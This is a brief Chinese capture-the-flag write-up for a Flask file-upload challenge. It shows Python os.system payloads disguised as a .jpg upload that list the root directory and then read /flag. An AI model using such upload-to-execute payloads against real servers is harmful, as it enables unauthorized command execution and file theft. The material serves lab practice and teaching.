Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
hunter_0764 分钟前
一次 iOS 真机签名 409 的完整排查:证书、设备、描述文件为什么总是"对不上"
前端
枣把儿12 分钟前
开源!公众号排版+一键发布工具懒人版
前端
2501_9160074716 分钟前
抓包工具功能对比,TraceEagle、Charles、Fiddler、Wireshark、mitmproxy 差别
前端·网络协议·ios·adb·https·fiddler·wireshark
Flynt20 分钟前
AI 写的页面一眼假?有人把"假指纹"写成 62 条规则,不用大模型就能跑
前端·ai编程·claude
kyriewen24 分钟前
我把 10 道面试题答案真跑了一遍:6 道是错的
前端·javascript·面试
小小张说故事37 分钟前
Python 的 dict 为什么查询是 O(1)?拆开哈希表、扰动函数与扩容阈值
python
WebInfra1 小时前
Rspack 2.3 发布:联手 SWC 团队带来全新编译器
前端·javascript·github
像风一样的男人@1 小时前
python --基于scp的文件传输助手
开发语言·python
用户0332126663672 小时前
使用 Python 在 Word 文档中添加、修改和删除变量
python
专注仿真2 小时前
动态规划算法详解
人工智能·python·大模型训练·控制算法